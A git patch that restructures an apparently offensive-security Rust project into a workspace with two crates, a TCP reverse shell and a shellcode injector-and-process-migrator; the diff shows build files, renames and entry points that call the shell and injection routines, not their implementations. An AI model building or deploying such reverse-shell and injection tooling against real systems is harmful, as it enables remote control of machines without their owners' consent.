From e487ca18b8da9ed3b853d28ced4ec6f6f5d05652 Mon Sep 17 00:00:00 2001 From: kmanc Date: Mon, 27 Dec 2021 05:29:04 -0800 Subject: [PATCH] Refactor (#4) * versioning change; H.M.L where H=breaking change, M=non-breaking change, L=bugfix * updating gitignore * project structure to workspaces --- .gitignore | 8 +++++- Cargo.lock | 11 ++++++-- Cargo.toml | 28 ++++--------------- process_migration/Cargo.toml | 12 ++++++++ .../src}/config.rs | 0 .../src/main.rs | 8 +++--- .../src/rco_proc_mig_unix}/mod.rs | 0 .../src/rco_proc_mig_windows}/mod.rs | 0 tcp_reverse_shell/Cargo.toml | 12 ++++++++ .../src}/config.rs | 0 .../src/main.rs | 8 +++--- .../src/rco_rev_shell_unix}/mod.rs | 0 .../src/rco_rev_shell_windows}/mod.rs | 0 13 files changed, 53 insertions(+), 34 deletions(-) create mode 100644 process_migration/Cargo.toml rename {src/shellcode_injector_and_migrator => process_migration/src}/config.rs (100%) rename src/shellcode_injector_and_migrator/inj_and_mig.rs => process_migration/src/main.rs (64%) rename {src/shellcode_injector_and_migrator/unix_im => process_migration/src/rco_proc_mig_unix}/mod.rs (100%) rename {src/shellcode_injector_and_migrator/windows_im => process_migration/src/rco_proc_mig_windows}/mod.rs (100%) create mode 100644 tcp_reverse_shell/Cargo.toml rename {src/basic_tcp_reverse_shell => tcp_reverse_shell/src}/config.rs (100%) rename src/basic_tcp_reverse_shell/rev_shell.rs => tcp_reverse_shell/src/main.rs (68%) rename {src/basic_tcp_reverse_shell/unix_rs => tcp_reverse_shell/src/rco_rev_shell_unix}/mod.rs (100%) rename {src/basic_tcp_reverse_shell/windows_rs => tcp_reverse_shell/src/rco_rev_shell_windows}/mod.rs (100%) diff --git a/.gitignore b/.gitignore index ea8c4bf..76a57e2 100644 --- a/.gitignore +++ b/.gitignore @@ -1 +1,7 @@ -/target +# Directories +/target/ +.idea/ + + +# Files +*.txt \ No newline at end of file diff --git a/Cargo.lock b/Cargo.lock index 98349d8..1e8dd21 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -3,8 +3,15 @@ version = 3 [[package]] -name = "remote_code_oxidation" -version = "0.1.2" +name = "process_migration" +version = "0.1.0" +dependencies = [ + "windows", +] + +[[package]] +name = "tcp_reverse_shell" +version = "1.0.0" dependencies = [ "windows", ] diff --git a/Cargo.toml b/Cargo.toml index 5c32866..9c06ce2 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -1,24 +1,6 @@ -[package] -name = "remote_code_oxidation" -version = "0.1.2" -edition = "2021" -authors = ["Kevin Conley "] +[workspace] - -# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html - -[dependencies] - -[profile.release] -lto = true - -[target.'cfg(windows)'.dependencies] -windows = { version = "0.28.0", features = ["Win32_Foundation", "Win32_Networking_WinSock", "Win32_Security", "Win32_System_Diagnostics_Debug", "Win32_System_Diagnostics_ToolHelp", "Win32_System_Memory", "Win32_System_Threading"] } - -[[bin]] -name = "reverse_shell" -path = "src/basic_tcp_reverse_shell/rev_shell.rs" - -[[bin]] -name = "shellcode_injector_and_migrator" -path = "src/shellcode_injector_and_migrator/inj_and_mig.rs" \ No newline at end of file +members = [ + "tcp_reverse_shell", + "process_migration", +] \ No newline at end of file diff --git a/process_migration/Cargo.toml b/process_migration/Cargo.toml new file mode 100644 index 0000000..25ed096 --- /dev/null +++ b/process_migration/Cargo.toml @@ -0,0 +1,12 @@ +[package] +name = "process_migration" +version = "0.1.0" +edition = "2021" +authors = ["Kevin Conley "] + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[dependencies] + +[target.'cfg(windows)'.dependencies] +windows = { version = "0.28.0", features = ["Win32_Foundation", "Win32_Security", "Win32_System_Diagnostics_Debug", "Win32_System_Diagnostics_ToolHelp", "Win32_System_Memory", "Win32_System_Threading"] } \ No newline at end of file diff --git a/src/shellcode_injector_and_migrator/config.rs b/process_migration/src/config.rs similarity index 100% rename from src/shellcode_injector_and_migrator/config.rs rename to process_migration/src/config.rs diff --git a/src/shellcode_injector_and_migrator/inj_and_mig.rs b/process_migration/src/main.rs similarity index 64% rename from src/shellcode_injector_and_migrator/inj_and_mig.rs rename to process_migration/src/main.rs index c1bc699..1793da7 100644 --- a/src/shellcode_injector_and_migrator/inj_and_mig.rs +++ b/process_migration/src/main.rs @@ -3,16 +3,16 @@ mod config; // Load the appropriate operating system's implementation #[cfg(unix)] -mod unix_im; +mod rco_proc_mig_unix; #[cfg(unix)] -use unix_im::inject_and_migrate; +use rco_proc_mig_unix::inject_and_migrate; #[cfg(windows)] extern crate windows; #[cfg(windows)] -mod windows_im; +mod rco_proc_mig_windows; #[cfg(windows)] -use windows_im::inject_and_migrate; +use rco_proc_mig_windows::inject_and_migrate; fn main() { inject_and_migrate(config::SHELLCODE); diff --git a/src/shellcode_injector_and_migrator/unix_im/mod.rs b/process_migration/src/rco_proc_mig_unix/mod.rs similarity index 100% rename from src/shellcode_injector_and_migrator/unix_im/mod.rs rename to process_migration/src/rco_proc_mig_unix/mod.rs diff --git a/src/shellcode_injector_and_migrator/windows_im/mod.rs b/process_migration/src/rco_proc_mig_windows/mod.rs similarity index 100% rename from src/shellcode_injector_and_migrator/windows_im/mod.rs rename to process_migration/src/rco_proc_mig_windows/mod.rs diff --git a/tcp_reverse_shell/Cargo.toml b/tcp_reverse_shell/Cargo.toml new file mode 100644 index 0000000..596eb0f --- /dev/null +++ b/tcp_reverse_shell/Cargo.toml @@ -0,0 +1,12 @@ +[package] +name = "tcp_reverse_shell" +version = "1.0.0" +edition = "2021" +authors = ["Kevin Conley "] + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[dependencies] + +[target.'cfg(windows)'.dependencies] +windows = { version = "0.28.0", features = ["Win32_Foundation", "Win32_Security", "Win32_Networking_WinSock", "Win32_System_Threading"] } diff --git a/src/basic_tcp_reverse_shell/config.rs b/tcp_reverse_shell/src/config.rs similarity index 100% rename from src/basic_tcp_reverse_shell/config.rs rename to tcp_reverse_shell/src/config.rs diff --git a/src/basic_tcp_reverse_shell/rev_shell.rs b/tcp_reverse_shell/src/main.rs similarity index 68% rename from src/basic_tcp_reverse_shell/rev_shell.rs rename to tcp_reverse_shell/src/main.rs index 94f9d6a..3fcd62b 100644 --- a/src/basic_tcp_reverse_shell/rev_shell.rs +++ b/tcp_reverse_shell/src/main.rs @@ -3,16 +3,16 @@ mod config; // Load the appropriate operating system's implementation #[cfg(unix)] -mod unix_rs; +mod rco_rev_shell_unix; #[cfg(unix)] -use unix_rs::shell; +use rco_rev_shell_unix::shell; #[cfg(windows)] extern crate windows; #[cfg(windows)] -mod windows_rs; +mod rco_rev_shell_windows; #[cfg(windows)] -use windows_rs::shell; +use rco_rev_shell_windows::shell; fn main() { shell(config::IP, config::PORT); diff --git a/src/basic_tcp_reverse_shell/unix_rs/mod.rs b/tcp_reverse_shell/src/rco_rev_shell_unix/mod.rs similarity index 100% rename from src/basic_tcp_reverse_shell/unix_rs/mod.rs rename to tcp_reverse_shell/src/rco_rev_shell_unix/mod.rs diff --git a/src/basic_tcp_reverse_shell/windows_rs/mod.rs b/tcp_reverse_shell/src/rco_rev_shell_windows/mod.rs similarity index 100% rename from src/basic_tcp_reverse_shell/windows_rs/mod.rs rename to tcp_reverse_shell/src/rco_rev_shell_windows/mod.rs